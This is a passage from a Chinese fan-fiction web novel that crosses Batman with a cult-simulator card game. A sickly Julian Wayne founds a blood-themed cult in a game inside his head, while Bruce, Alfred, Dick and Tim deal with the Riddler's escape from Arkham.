《[综英美]密教教主模拟器》
1. 疾病肆虐的时节(1)
布鲁斯在疏远他。
产生这个念头时,尤里安正身处于一个慈善晚宴。
他望向台上的演讲者,韦恩集团董事长,哥谭知名慈善家,他的兄长布鲁斯·韦恩。
对方穿着深色的西装,嘴角噙着富有亲和力的微笑,面对观众侃侃而谈。
他的黑发向后抓去,露出饱满的额头和俊美的眉眼;钢蓝色的眼睛在头顶的灯光下如同华美的蓝宝石,眼中的笑意令人目眩神迷。
这位被媒体称为“哥谭王子”的英俊青年,正在饱含激情地构想这座城市的未来。
“关于斯普朗救济院的修缮事宜,我们目前已经商定了初步计划……”
“孩子们将获得健康的食物与温暖的壁炉,不必在即将到来的深秋里挨饿受冻;与此同时还有丰富的图书和专业的读写班,通过阅读获得提升和保护自己的武器……”
按照他的讲述,斯普朗救济院只是“新哥谭计划”的一个小小起点,整座城市都将在接下去的改造下焕然一新。
很有野心的计划。
但这个展厅里的大部分人并没有扮演好倾听者的角色,而是在觥筹交错中目光流转,窃窃谈论着一些毫不相关的事情。
“上个月那份哥谭小报的投票结果出来了吗?”
“还没,下一期刚好在明天发布。”
“哈,那我可要让人蹲点去买了,真好奇谁能获得‘哥谭最有魅力男人’top1……”
“那还用说?当然是我们的哥谭王子,大名鼎鼎的布鲁西韦恩了。”
说话的人抬起下巴,示意同伴看向台上演讲者。
同伴却不甚赞同:“不不不,你忘了吗,这座城市可不止一位‘韦恩’。”
他们的视线落在台下另一位青年身上。
得体的西装包裹着纤瘦的腰肢,平直领结束缚住白皙的颈脖。
虽然也是“韦恩”的一员,但他并没有韦恩家族那标志性的黑发蓝眼。
也许有一部分亚洲的血统,他拥有纯正的黑发和黑曜石一样的眼睛。精致的面容在长久疾病的侵扰下显得格外苍白,反而有种病态的美感。
尤里安·韦恩,二十四年前被韦恩夫妇收养的孩子,与布鲁斯·韦恩相伴多年的兄弟。
在布鲁斯离开哥谭不知所踪的那段时间里,他就是这座城市仅剩的唯一一位“韦恩”了,整座城市的视线沉甸甸地压在他身上。
好奇的、迷恋的、憎恶的。
蠢蠢欲动的、垂涎欲滴的、带有可怖欲望的……
一个韦恩。
一个病弱的韦恩。
让人情不自禁地想要引诱他、伤害他、摧毁他,让他与这座城市黑暗面共同沉沦。
令人遗憾的是,这座黑暗的城市没能吞没他,这位病殃殃的小少爷居然顽强地挺了过来。那些浸满恶意的视线如同最好的肥料,将青涩的果子慢慢催熟,沁出诱人的甜香。
——一个迷人的韦恩。
“哦……那我可真得让人去买一份报纸了。”
几个男人不知为何口干舌燥起来,喃喃重复着已经说过一次的话语。
可等他们抬眼时,却意外发现自己所谈论的话题中心不知何时转过头来,冷冷地瞪视着他们,漆黑的双眼里闪烁着惑人的冷光。
嗯,糟糕的脾气也是这位韦恩的魅力所在。
他们有些心虚地移开视线,慌忙举起酒杯,将杯中液体灌入喉咙,缓解骤然涌现的阵阵干渴。
一群没品的蠢货。
尤里安轻轻嗤了一声。
他不再关注那几个频频望向自己的男人,视线重回台上。
端着酒杯的指节微微曲起,有节奏地敲击着透明的高脚杯。
暗红色酒液震颤,漾出一圈圈涟漪。
他的视线不受控制地黏在自己的兄长身上,扫过他俊美的眉眼和高挺的鼻梁,温和的唇角和说话间一上一下的喉结。
一寸一寸不断往下,不放过一丝皮肉,直至饱满的胸膛和有力的臂膀。
外出游学那么多年,还真让布鲁斯锻炼出了一副好体格,笔挺的西装都掩盖不住那身肌肉。
被领结束缚的喉咙紧了紧,苍白的面容染上红晕。
尤里安眨了眨眼,掩饰般地抿了口酒液。
……所以说啊。
那个什么什么小报的“最受欢迎”第一名肯定是是布鲁斯才对吧,明明他昨天才偷偷刷了两千票。
……
虽然这个宴会厅里的大部分有钱人并没有把布鲁斯·韦恩的计划放在心上,但这场慈善宴会的目的已经达成。
他们都表示自己所代表的企业或家族会为这个计划出钱出力,反正大头都是韦恩基金出,他们只要顺势跟上就能买个美名,又何乐而不为呢?厅里的另外半数人可都来自各大媒体。
真正对这个计划感兴趣的,也许只有坐在电视机前收看直播、可能被惠及的普通市民吧。
就在晚宴即将结束的时候,一位身穿靛蓝西装、领口微敞的男人笑容满面地走近尤里安所在的角落,言语暧昧地询问他是否愿意在宴会结束之后参加他的私人晚宴。
尤里安认得他,他是帕沃斯家的小儿子,一位风流浪荡同时臭名昭著的贵公子。他的私人晚宴会是怎样混乱的情景,就算不用脑子都能想到。
又一个没脑子的蠢货。
尤里安冷漠地拒绝了他,却在对方脸上看到了更加兴奋的笑容。
他毫不犹豫地转身就走,直到宴会厅之外的小花园,借着冷风吹散酒精带来的燥意。
没一会儿,他就见到了可靠的英国管家。
“阿福。”尤里安表情缓和下来,声音里隐含
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期待,“布鲁斯呢?”
“晚上好,尤里安少爷。”管家阿尔弗雷德·潘尼沃斯为他披上一件厚实的外套,语气柔和道,“布鲁斯少爷说要和马尔科议员讨论捐款事宜,他让您先回去休息。”
“好吧。”尤里安有些失落地垂下眼。
他并不意外这样的回答,但还是难免感到沮丧。毕竟他也是今晚才意识到,布鲁斯似乎一直在极力避免与自己单独相处。
既然没有机会同行,他也没必要留在这里了。
尤里安跟着管家上了车,听到汽车引擎发动的声音。他沉默地望着车窗外不断逝去的哥谭夜景,直到汽车驶入那座静谧的庄园。
只有两人的庄园显得格外冷清。尤里安有点疲惫,外出赴宴对他来说其实是一项体力活。他只想赶紧洗个热水澡,然后抱紧他的枕头上床睡觉。
他回到房间后就立刻踢掉鞋袜,丢掉那个始终拘束着他喉咙的领结,随后是束缚着他身体的外套、衬衫和长裤。
光裸的脚底踩上温暖的地面,柔软的织物一件件垂落逶迤,一直紧绷的颈脖终于放松下来,被衣物包裹的苍白躯体在初秋的空气中轻松舒展。
虽然尤里安不想承认,但他的身体确实过于脆弱了,初秋的一点点寒风就足以让他发上一晚上的高热。
听说在他还是个幼儿的时候,他就曾经因为高热差点夭折。从那以后,整座庄园里都铺上了地暖,一旦夏季结束,庞大的地暖系统便会日夜不休地工作,直到下一年的夏天到来。
归功于体贴的暖气和铺满整个房间的羊绒地毯,就算赤-裸着身体走在房间里,尤里安也不会感到丝毫不适。
他抓过浴巾走进浴室,在关门的瞬间打量了眼镜中的青年。
镜中的青年也沉默地注视着他,漆黑的双眸仿佛映着点点夜色,纤瘦的身体像大理石雕像一样挺立,苍白优美却缺少生机。
尤里安神情郁郁地扭过头。
水声淅淅沥沥,浴室里水雾渐起,热水洗去了尤里安在宴会上沾染的各种气味,他往提前放好的热水中放入浴盐球。
美丽的血红色以球体为中心,转瞬间扩散至整片水面。尤里安用脚尖试探了一下温度,扭动的血色里泛起阵阵涟漪。
正好合适。
他踩了进去,苍白的躯体被温暖的血红紧密包裹,舒适得就像回到了母亲的羊水里。
烦乱了一整个晚上的思绪被稍稍清空,尤里安决定好好放松一下。
嗯……那就趁机清理一下他的“秘密委托”吧。
他微微阖眼,在氤氲的水汽中,放任意识渐渐上升。
……
[我们上次到哪了来着?]
[——已载入游戏进度。]*
伴随着一道轻叹似的古怪声响,尤里安的脑海中出现了一张墨绿色桌面。
2. 疾病肆虐的时节(2)
大概在一年前,一个密教模拟游戏突然降临在尤里安的脑海中。
这是一个卡牌类角色扮演游戏,故事背景设立在一个拥有隐世司辰与多重秘史的世界,玩家将扮演一名探索神秘学之人,在游戏中创立教派,广收教徒,最终走向飞升。
尤里安不知道它突然出现在自己脑海中的原因,他甚至怀疑自己是不是因为尝试新药而产生了精神幻觉。
他将异常告知了管家先生,管家先生帮他联系了私人医生,但经过一番缜密的检查,得出的结论是药品没有任何问题。
好吧,也许幻觉是正常的。哥谭的夜晚都出现了蝙蝠怪物的传说,警察局还顶着舆论在楼顶放了个巨大的蝙蝠灯,为什么他不能以哥谭为灵感幻想出一个有趣的游戏呢?
反正那个虚幻的游戏也没有对他产生实质性的影响,尤里安也就暂时将它搁置在一边。
不过没人能不对这样的游戏产生好奇之心,在精力还算饱满时,他会尝试着以一个玩家的身份,将这个游戏运行下去。
……但这个游戏未免有点太难了。
完全没有新手引导,在刚刚接触这个游戏的第一个月,尤里安所操控的游戏角色一直在花式死亡。
恐惧而死、入迷而死、被献祭而死、因饥饿病死……各种死亡方式都被他尝试了一遍。
在又一次病死之后,尤里安几乎要放弃这个游戏了。
在所有失败结局中,他最无法接受的就是因疾病而死——
谁家好人会因为没钱吃饭就开始生病啊?连续三天不吃饭就直接病死,如果不凑巧撞上“疾病肆虐的时节”都不用花上三天。
现实里的人面对他时都在竭力避免那个词汇,为什么他要在游戏里预见那个晦气的结局?
尤里安被气得关掉游戏冷静了一星期,然而一个星期后,他还是没忍住,再次打开那张墨绿色桌面。
反复尝试解密总结经验,他总算能将这个游戏顺利地运转下去了,不再因为什么奇怪的事件突然解锁失败结局。
而在这个周目里,他谨慎地将自己的个人属性都拉到最高,这才准备开始创立教派,开启他的密教头子之路。
尤里安看向桌面。
此时的墨绿桌面上整齐地摆放着各色卡牌,不同卡牌分门别类地放好;最下方则是一排方块状的工作台,工作台上的倒计时缓缓流动。
有几个工作台的任务已经完成,右上角跳出数字,像是社交软件上的红点,催促着他赶紧清理。
卡牌游戏的核心自然是卡牌,工作台则是使用卡牌的地方。
工作台不止一个,常驻工作台有【作业】【入梦】【研究】【谈话】【探索】,这些都需要玩家手动操作。还有一个沙漏形状的【时间】会自动吸取他的金钱。
除此之外,还有一个紫红色的临时工作台下方不断跳动着倒计时,提示他将卡牌放入其中。
【创建属于你的教派】:无形之术的思想,行使力量的准则,教派成立之基,志同道合的伙伴将会追随于你左右(放入密传确定立教准则,放入熟人发展教众)。
尤里安手上没有合适的密传,所以暂时没理它。
他从其他方块里取出卡牌后,照例将自己的牛马工作放入作业栏,通过消耗[理性]赚取微薄的金钱。随后分别从探索栏和研究栏里取出自己买到的新书和解读完的密传。
买书阅读才能获取密传,这是创立密教的基础。
尤里安断断续续玩了一年游戏,辛辛苦苦画画、在码头当搬工卖体力、去黑心公司上班三班倒才勉强攒到仅够生活的资金,抠抠搜搜省下来的钱都拿去买书了。
在今天之前,尤里安已经购买了几十本颜色各异的书籍,解读完毕的密传已经摆满了四分之一的桌面,他都怀疑书店马上就要被自己搬空了。
但他心中始终有一种异样的感觉,仿佛还有更适合他的准则在等着他。
用人话说,就是他对手上的密传都不感兴趣。
直到这一次——
尤里安翻开那张新获得的密传。它的背景是美丽的赤红,封面上绘制着一个血红的酒杯。
在看到那个血色酒杯的那一瞬间,一种亲切的渴望油然而生,尤里安的心脏急速跳动。
【伟大的咒语】*:伟大的母亲永记不忘。
终于……
等到了。
原始的渴望催促着尤里安拖动那张赤红的卡牌,他按捺住以不正常的频率鼓动的心脏,按照游戏的要求,将它和熟人卡填入方块的缺口。
在那一瞬间,甘美的气息弥散开来,温暖的血肉拥抱住他,紫红色方块消失了,两张全新的卡牌缓缓显现。
仅仅只是个尚未形成的虚影,尤里安就无法自拔地沉迷其中,他的心跳频率突破了危险值。
而在失去意识前,他似乎瞥见了一行提示语——
[《密教模拟器》2.0版本即将发布!新版本将加入哥谭dlc,敬请期待!]
……
最先出现在梦境里的,是亮银色的大气。
大气之下,是一条盘桓在山岭之顶的道路。*
尤里安没来得及窥视更多,身体就像落叶一样轻飘飘地下坠。
直到身体坠落至终点,被地表的重力骤然扯住,他才睁开眼睛。
映入眼帘的是米白色的天花板,破旧的灯泡安静地挂在头顶,银白的月光透过窗户照射在缺了一角的白色木桌上。
空气中散发着淡淡的霉味,楼下传来玻璃瓶滚动的声音。
听着酒鬼吵闹的叫嚷,尤里安盯着天花板思考了几秒那个灯泡会不会掉下来砸到自己,这才坐起来,冷静地观察起周围的环境。
老旧发黄的风扇、脱落粉碎的墙皮,以及逼隘狭小的空间。这个房间说不定都没有韦恩庄园里的一个浴室大。
羊绒地毯和地暖就更别说了,压在身上的被子带着股潮意,初秋夜晚的寒意嚣张地渗透了这个房间的每一个角落。
基于糟糕的环境,尤里安的第一反应是自己被绑架了。可是身体里所充盈着的前所未有的活力却隐隐提醒着他,情况好像和他想象的不太一样。
对于韦恩家的人来说,被绑架并不是件值得惊慌的事情,毕竟大部分绑匪的目的都是一笔高昂的赎金,他们只要配合绑匪的索要钱财的行动,再乖乖等待哥谭警局的救援,大概率不会受到肉-体上的伤害。
——这是布鲁斯告诉他的,那家伙回到哥谭的短短一年就遭遇了好几次绑架行动,尤里安觉得这大概归功于他那高调而频繁的社交活动。
可是为什么除了自己,房间里一个人都没有?
如果这是一起绑架案,绑匪们肯定会派人来牢牢看住他,严密守护他们的高昂赎金。
而且在这样糟糕的环境里,他居然完全不感觉冷。
无处不在的违和感提醒着尤里安,他开始仔细回忆自己醒来之前的事情。
对了——
那个游戏。
尤里安在记忆一角捕捉到自己失去意识前的最后一个画面,唤出那张墨绿色桌面。
这次切出墨绿桌面的提示语不再是之前那两句“已载入游戏进度”了,而变成了——
[哥谭dlc已加
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载,本次更新完成,请继续壮大您的教派。]
桌面上的工作台已经发生变化,提醒他建立密教的紫色方块消失了,取而代之的是两张全新的卡牌。
【血杯教团】*:追奉生育、鲜血与食欲之奥秘。
第一张卡牌的背景是美丽的血红,血红之上绘制着普通人无法理解的纹路,一个头戴兜帽的人低头凝视着他。
光是看它一眼,尤里安的心跳就急促起来,好像被摄夺心神。
他闭上眼睛抽离视线,这才看向第二张卡牌。
【临时总部】:一个隐蔽的处所,就算是最优秀的侦探也不一定能找到这里来。当然,凡事都有意外,我们可以搬去更隐秘的地方。
第二张卡牌的卡面上绘制了一个房间的一角,色彩很简单,寥寥几笔就勾勒出了洁白的墙壁、银白的月光、破旧的灯泡,以及和缺了一角的木桌。
等等……好眼熟。
尤里安环顾四周对比了一会儿,确信卡面上画的就是自己所在的这个房间,只是现实比简笔画多了许多破烂的细节而已。
所以自己这是……进入游戏世界里了?还是游戏投射到了现实?这就是游戏更新到2.0版本的效果吗?
说不清哪种可能更神奇一点,尤里安凑到窗边,好奇地从碎玻璃之间往外看。
他看见了一座座错落矮旧的房屋,那些房屋看起来已经很破旧了,四周躺着一地碎玻璃,不知道是什么时候的械斗遗留的残局。也有寥寥几个房间用篷布拉上,门口还堆放着啤酒瓶等生活垃圾,那里大概已经成为了流浪汉的临时居所。
抬高视线往远处望去,一个巨大的“R.H.”散发着莹莹的红光,那是凯恩大厦的标志牌。再往远望,还能隐约看见旧韦恩塔的一个小角。
尤里安大概知道自己在哪里了,这里是哥谭的东城区,隐藏在繁华下的混乱无序之地,犯罪巷和现在被叫做贫民窟的老哥谭就在附近,这里也是他儿时的噩梦来源。
“……”
想到这里,尤里安神色稍黯。不过他很快就打起精神,发自内心地感叹——
不愧是加载了哥谭dlc的游戏,就连建筑都这么还原!
惊叹完,尤里安就相当淡定地接受了自己脑子里的游戏变异了这件事。
毕竟,这里可是哥谭——
地灵人杰人才辈出的哥谭,高科技反派和变异怪物神出鬼没的哥谭。
前阵子才有个变异的鳄鱼人上新闻呢,还有人深夜目睹了蝙蝠怪大战泥巴人,巨型萤火虫在天上飞,都市传说跟不要钱一样批量生产。
他的游戏变异了这种事估计连最垃圾的花边小报都刊登不上去,根本不值得大惊小怪。
不过,游戏本身的可玩性或许会大大增加。
尤里安兴致勃勃地看向桌面,几个工作台还在勤勤恳恳地运转,只有谈话栏和探索栏还空空如也。因为更新来得太突然,他还没来得及把卡牌放进去。
探索栏一般是尤里安用来买书的地方,不过现在他没有多余的资金了,而且既然已经得到了想要的密传,买书就不是必要选项。
要不要派人外出探索呢?
还没成为教主之前只能消耗一份[健康]自己上,现在有了教徒,应该可以派教徒出去干活了吧?
尤里安点开一张绿色的人物卡。
卡面上的人物身穿西装,头戴礼帽,面朝他微笑,手中拿着一张背景是问号的扑克牌。
【教徒爱德华】:爱德华最近正在创作一个伟大的谜语,只有聪明人才有资格参与他的谜题。(性相:灯5/凡人/追随者)
3. 疾病肆虐的时节(3)
在游戏更新之前,这张卡还叫做“熟人爱德华”。尤里安把他和密传一起放入紫色方块后,熟人就转变成了教徒。
尤里安突然想试试和他对话。
于是他没着急探索,把这张卡放入谈话栏,一个全新的对话框跳了出来。
【讨论教团事务】:在纯白之地与教徒进行重要谈话,我需要我的追随者做什么呢?一位合格的教徒可以帮助您办理教团事务、跟踪敌人、除掉眼中钉。
和教徒谈话需要放入具体的“话题”,也就是另一张卡牌。尤里安还在思考要放入什么,对话框上的文字就先一步更新了。
【您的追随者对您很感兴趣】:爱德华丢开拼图和魔方,饶有兴致地观察了一圈周围的环境。除了隔壁那个脑子里塞了石头、呼噜声如惊天巨雷的爬行动物,他的周围一个人都没有。他压低声音兴奋发问,“你——是谁?”
尤里安一愣,还没等他反应过来,文字就再次更新。
【您的追随者对您很感兴趣】:“不,不用着急回答,请让我亲自解开这个谜题。”爱德华笑着说,“现在换一个问法吧——‘我是谁?’”
尤里安:“……”
这家伙是谜语人吗?净整这些有的没的问题。
不对……难道还真是?
尤里安微微睁大眼睛。
虽然没有切身接触过那个传说中的超级反派,但他确实在电视台上见过那个形象。
那个头戴礼帽一身绿色作绅士打扮的家伙,两三年前曾经把自己的大头照放在所有大楼的LED屏幕上宣告存在感,还控制了一整个城区的电力让所有人和自己玩谜语游戏,一个人就占据了一整个星期的报纸头条。因为他酷爱谜语,身上的饰品还都绘有大大小小的问号,所以大家都叫他“谜语人”。
当然,后来他就被蝙蝠侠抓起来了,真正的谜语人现在应该好好地待在阿卡姆精神病院里。
这个dlc居然还收集了超级反派的资料包,用雷同的元素设计了个相似的形象打擦边球?付版权费了没有?
哦,那些罪犯没有人权,就算不付版权费也不要紧吧。
尤里安试图和这位反派教徒对话,却发现自己并没有合适的卡牌与他交互,灯属性的教徒能做的事情太少了。
最后他只能遗憾地把对方从谈话栏中拖出来,放入探索栏里,派遣他去探索这个城市。
卡面上的谜语人似乎露出了微笑,新的对话框在此弹出,尤里安正想看看这个盗版谜语人要说些什么,下一秒就头晕目眩,好像被什么东西扯着灵魂急速上升。
尤里安:“……!”
游戏被迫终止了,这种情况一般只会在他被人打扰的时候出现。
尤里安忍住眩晕睁开眼,下意识想要骂人。
然而,映入眼帘的是敞开的浴袍和饱满的胸肌,一股深沉硬朗的木质气味钻入鼻尖,这是一种令人放松的熟悉味道,他曾经在布鲁斯身上闻到过。
意识到布鲁斯正抱着自己,尤里安咽下骂人的话,安分地在兄长怀里窝好,像只乖巧的小猫。
“尤里安,你又发烧了。”布鲁斯韦恩语气严肃地说。
尤里安被他用一条宽大的浴巾裹住,像个蚕宝宝一样被抱出浴室。
残留在身上的水珠顺着小腿的弧度淅淅沥沥往下滴,在地毯上留下一串湿痕。
四肢软趴趴地泛着酸,身体里的热气似乎透过皮肤源源不断地逃离,尤里安迟钝地感受到寒冷,发热带来的眩晕和恶心一齐涌上来。这让刚刚才体验过一具健康且富有活力的身体的尤里安感到了极大的落差。
他很难受,下意识往布鲁斯身上缩了缩。
“现在知道难受了?洗澡的时候怎么能睡着呢?”头顶传来一声无奈的叹息,“要不是阿福给你送牛奶的时候发现你还没出来……”
说到这里他及时顿住,又抱怨道:
“在泡澡的时候睡着可是高危举动。”
“对不起,”尤里安压低声音咳了一下,心虚辩解,“是我不小心……”
他原本只是想在泡澡的时候顺便完成一下墨绿桌面的待办事项,打工买书看书传播教义,一般来说几分钟就能解决整个流程。
没想到游戏突然更新,直接把桌面游戏进化成全息游戏了。尤里安一不小心就沉迷其中,完全忘记自己的本体还在泡澡了。
不知道他泡了多久,布鲁斯都回来了,浴缸里的水还那么凉……
其实尤里安房间里的浴缸是有加热功能的,但他觉得暖气已经足够,冬天之前用不上那个功能,所以没有打开。
听到他的道歉,布鲁斯沉默几秒,又放缓语气:“晚上是不是还喝了酒?或许还吹了风——我在上面看见了。是我的疏忽,我应该让阿福注意的。”
尤里安抬头看了眼他的表情,发现那双蓝宝石一样的双眼里蓄满了浓浓的担忧。
“不是布鲁斯的错。”尤里安嘟囔着,黏黏糊糊抱住身前的男人,通过紧贴的皮肤从他身上汲取体温。
其实现在这样也很好——他发烧了,但获得了布鲁斯的抱抱。
反正生病对他来说是家常便饭,布鲁斯的拥抱可不是每天都有。
尤里安非常眷恋这个温暖的怀抱,趁他把自己抱回卧室的时候把鼻尖埋进他的领口,动作很轻地蹭了蹭,还悄悄地吸了一口。
他很小心,保证不会被布鲁斯发现。
今天的布鲁斯身上主要是微微苦的木质香味,好像比平时要浓,其中似乎还夹杂着其他什么味道。
如果尤里安的头脑还算清醒,或许会怀疑为什么布鲁斯都洗完澡了香水的味道还能残留到现在。但他的脑袋已经被高温融化成了一团浆糊,只能凭借本能在对方怀里嗅来嗅去,吸取自己喜欢的味道。
直到他从微苦的气味中嗅到了一丝腥甜。
……血?
尤里安一下子就清醒了不少,他对这种味道很熟悉。他抬起头,因为发热而显得迷蒙的眼睛努力睁大:“布鲁斯,你受伤了?”
“回来的时候不小心被树枝划到了,只是破了个小口子,你再晚发现几分钟就能愈合。”他的兄长面不改色道,“忽略它——你该穿衣服了。阿福待会会来给你送药。”
话音刚落,将信将疑准备继续嗅嗅的尤里安就被他捉开了。布鲁斯往床上铺了条新的浴巾,把尤里安放上去,像擦狗一样利落地擦干他身上残余的水渍,然后丢过来一身棉质睡衣。
“有力气穿吗?”
尤里安被他这一连串动作搞得忘记自己原本要问什么了,盘腿坐在床上,迷迷瞪瞪地看着他。
布鲁斯知道他的意思了,默不作声地叹了口气,然后上手帮忙。
穿衣服很好配合,伸出手臂套进去再扣上扣子就完成了;裤子却有点麻烦,在小腿被那只粗糙炽热的大手握紧抬起时,尤里安忽然发现被握在手心里的皮肤好像在不自觉战栗,他的脸颊也开始潮热,看来这场发烧终于蔓延到了他的全身。
他被这奇怪的感觉刺激到头皮发麻,想努努力自己穿,但布鲁斯却嫌弃他效率太低,眼疾手快给他套上去了。他的动作并不粗暴但也称不上温柔,干脆利落毫无美感,就像任何一个哥哥给弟弟穿衣服一样,完全产生不了任何异样的气氛。
尤里安:“……”
不愧是布鲁斯。
感官恢复了正常,但他心里却莫名有点空。尤里安也说不清自己到底在失落什么,闷闷地把脸埋进枕头,又马上被挖起来。
“头发还是湿的。”
于是,等阿尔弗雷德端着温水和药片走进来时,看见的就是兄弟俩坐在床边,布鲁斯帮尤里安吹头发的情景。
粗糙的大手在松软的发丝间穿插,呼呼的噪音填满整个房间,黑发青年安安静静地坐在兄长怀里,表情有点郁闷。
阿尔弗雷德不禁露出一丝微笑,他端着盘子,单手关上门。
比起在黑漆漆
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的蝙蝠洞给那只黑漆漆的骑士处理伤口,他还是更希望看见这种温馨的画面。
只可惜……布鲁斯少爷说什么也要隐藏那个秘密。为了尤里安少爷着想,这对兄弟永远不可能坦诚相待。
阿尔弗雷德微不可查地叹了口气,又在房间内两人朝他投来视线时露出管家式的和善微笑:“尤里安少爷,来吃药吧。”
监督尤里安吃完退烧药,布鲁斯看起来放松了不少。
他把尤里安交给阿福,说衣服湿了要再回去洗个澡。
在临走之前,他还没忘抱怨了句:“下次,别用那个颜色的浴盐了。”
“天知道你躺在一片血水里不省人事的样子有多吓人。”
……
等阿尔弗雷德端着新的托盘进入蝙蝠洞时,他的少爷已经赤裸着上身,沾了血的绷带散落在旁边的操作台上。
他拿着镊子,用酒精棉擦拭着手臂上的伤口,阿尔弗雷德上前接过镊子,熟练地帮他处理后背的伤势。
看到已经快要愈合的伤口不断往外渗出血丝,阿尔弗雷德不赞同地说:“布鲁斯少爷,您的伤口又裂开了,它本应在这星期彻底愈合。”
布鲁斯韦恩看着操作台上的蝙蝠头套,嗓音低沉:“我在追查一起军火走私。”
此时的他已经不再是尤里安面前那个温和俏皮的兄长形象,他变得沉默冰冷,一如这个冰冷的夜晚。
和马尔科议员的谈话只是在媒体面前制造的幌子,事实上,布鲁斯韦恩迅速结束了谈话,表示自己接下去还有一场约会后就离开了马尔科的住所,并换上蝙蝠战衣开始了他的例行巡逻。
夜晚的他是令哥谭罪犯闻风丧胆的蝙蝠怪物,一个象征恐惧的符号。
蝙蝠侠在前几日的夜巡中发现哥谭夜晚的黑-帮火拼里出现了不该有的武器,他正顺着蛛丝马迹追查武器流入哥谭的源头。而追查过程中,难免与那群手持大规模杀伤力武器的黑-帮产生冲突。
被树枝刮伤了,这个说法从某种意义上来说也没错,因为他的肩膀曾经被毒藤女操控的植物扎穿,不过那已经是上个月的事情了。而且比起体表的伤害,那些植物造成的更严重的后果是肋骨的挤压伤,直到这个礼拜他的肋骨损伤才逐渐长好。
可是才刚愈合没多久,他身上就新添了爆炸留下的撕裂伤。
阿尔弗雷德放下沾了血的酒精棉球,动作小心地为他重新缠上绷带,嘴上却毫不留情:“据我所知,您差点被尤里安少爷发现。他自己都烧得神志不清了,还托我关心你身上的伤口。”
布鲁斯沉默几秒:“他太敏锐了,我已经用了足量的香水掩盖,他还是能闻出来。”
阿尔弗雷德:“恕我直言,尤里安少爷比您想象中的聪明。如果他发现自己的兄长居然一直将自己蒙在鼓里做危险的事,说不定会气得爆炸。主动告知或许才是更好的选择。”
布鲁斯果断回绝:“我不能——阿福,你知道,我还没查清当年的事情。尤里安不应该接触这些,现在的他只是个普通人。”
普通人没有接受过训练,也没接触过隐藏在黑暗深处的真实,他们属于需要保护的对象,更应该自觉远离危险。
况且,尤里安本身就像一件精美的瓷器,不小心呵护就随时可能破碎。
他不想再回忆今晚他打开浴室门,却发现尤里安不省人事地躺在一片血水里时,是什么样的心情。
“可是尤里安少爷说不定更想和您站在同一战线上……至少他应该有知情权。”阿尔弗雷德轻声说。
蝙蝠洞里再次陷入沉默,处理好伤口的布鲁斯韦恩应该回去休息了,明早还有一场董事会等着他。
然而就在这时,蝙蝠电脑上突然弹出一条消息。
布鲁斯只是扫了一眼,就打消了回庄园休息的念头,重新戴上那个蝙蝠头套。
“布鲁斯少爷?”
蝙蝠侠语速很快:“阿卡姆那边发来消息,谜语人突然越狱了。”
4. 疾病肆虐的时节(4)
尤里安醒来的时候,房间里暗得透不进一点光。
他懒洋洋地在床上打了个滚,敷在额头上的冰毛巾掉下来,湿漉漉的额发贴着额头,四肢的肌肉还残留着明显的酸意。
在床上挣扎了半天,尤里安才伸长手臂在枕头旁摸索几下,拿起手机看了眼时间。
12:05。
已经中午了啊……头好痛,完全不想起床,反正今天应该没有什么很要紧的工作……
不对。
董事会!
尤里安猛地坐了起来。
今天早上有场董事会会议,他居然直接睡过去了!不知道布鲁斯有没有帮他请假。
尤里安迅速洗漱完就穿好外套走下楼,餐厅里已经有人了。那人正背对着他,轻轻哼着活泼轻快的曲调,宽松的T恤和短裤都遮掩不住他那肩宽腿长的身材。
“迪克?你放假回来了啊。”
听到身后的动静,理查德·格雷森回过头,手上拿着块被咬了一口的三明治。
他嚼得脸颊鼓鼓,说话都有点含糊,却不忘露出一个爽朗的笑:“早上好啊尤里安~哦,我应该说中午好。”
性格开朗的人身上似乎有种魔力,他们总能用自身的活力感染他人。
“欢迎回来,”尤里安扶着楼梯扶手走下来,说话的语气也不禁变得轻快,“你看见布鲁斯和提姆了吗?我怎么没见着他们。还有早上的董事会……”
迪克又咬了口三明治,开始嚼嚼嚼:“布鲁斯也还在睡觉呢,至于早上那场会议,不用担心,提姆准时去了,也帮你们两个请了假。”
尤里安:“噢,又麻烦提姆了……”
家里最小的孩子居然是最可靠的那个,这可真是抱歉。
迪克俏皮地眨了下眼:“那我替他说声不麻烦。这不重要——重要的是布鲁斯说你昨晚突然发高烧了,现在好点了吗?”
“好多了。”尤里安在餐桌前坐下,懒散地打了个呵欠。
迪克观察着他的气色,发现和上次见面时相比,尤里安好像又瘦了点,乌黑卷翘的睫毛衬得脸色更加苍白,像一尊洁白的瓷器。他神色有点疲倦,眉眼蔫蔫的,明显还没从疾病的侵扰中完全恢复过来。
但即便是气色不佳,他也并不显得寡淡,恰恰相反,他拥有一种一出现就能夺走他人注意的气质……或者说气味?
迪克说不出来,他一直觉得尤里安身上有种很甜的味道,不是香水,也不是糖霜的那种甜,是能更强烈地侵略感官的……比如说血……算了,他在胡言乱语些什么。
“我可以碰一下吗?”因为这位名义上的“叔叔”体质较弱,而且和自己只相差4岁,迪克其实更习惯把他当成同龄人,甚至是需要照顾的对象。他用手背贴了一下尤里安的额头,语气迟疑,“嗯……还是有点烧。”
确定尤里安精神不太好,迪克陪他一起吃过午饭,就劝他回房间休息了。
而目送尤里安上楼后,迪克就来到布鲁斯的书房,将时钟的指针拨到10:48。
伴随着轻微的机械运作声,墙上的书架开始旋转,一扇暗门悄然出现,他乘坐升降梯来到这座庄园的地下世界。
迪克格雷森当然不是单纯因为学校放假才回到哥谭。最近蝙蝠侠在追查的那起军火走私跟布鲁德海文也有点关系,恰好有段时间没回哥谭了,他就打算回来亲自调查一番。
不过很显然,目前出现了比他的案件更重要的事情,毕竟那些高智商反派造成的破坏有时候可比热武器严重得多。
看见那个坐在蝙蝠电脑前噼里啪啦敲击着键盘的人,迪克打了声招呼,走过去倚靠在操作台上:“听说谜语人昨晚越狱了?真高兴你们能够那么快解决,那家伙从前只在各种大事件发生之前出现。”
穿着红罗宾制服的提姆·德雷克喝了口咖啡,强忍住自己打呵欠的欲望:“鬼知道为什么那家伙出了阿卡姆之后就只是在小巷里闲逛,这听起来很不合理,对吧?他肯定又在跟我们玩什么新的谜题。”
“嗯哼?”
“所以我们花了一整个晚上的时间把整个奈柔斯仔仔细细排查了一遍,但没有发现任何机关。”提姆揉了揉眉心,“Bat还揍了他一顿,要他说出自己的目的,但谜语人坚持自己只是去散步的。”
“那可就奇怪了。”迪克感到匪夷所思。
对啊,这才是最奇怪的事情。
一个疯子,一个曾经控制了整座城市的高智商罪犯,骗过看守从阿卡姆逃出,就为了大摇大摆地去街头散步?
“然后呢?你们做了什么?我不信Bat只是把他抓回去就算完了。”
提姆缓缓说:“我们决定先用拘束带控制他一个月,并且在接下来的夜巡里把整个哥谭排查一遍。”
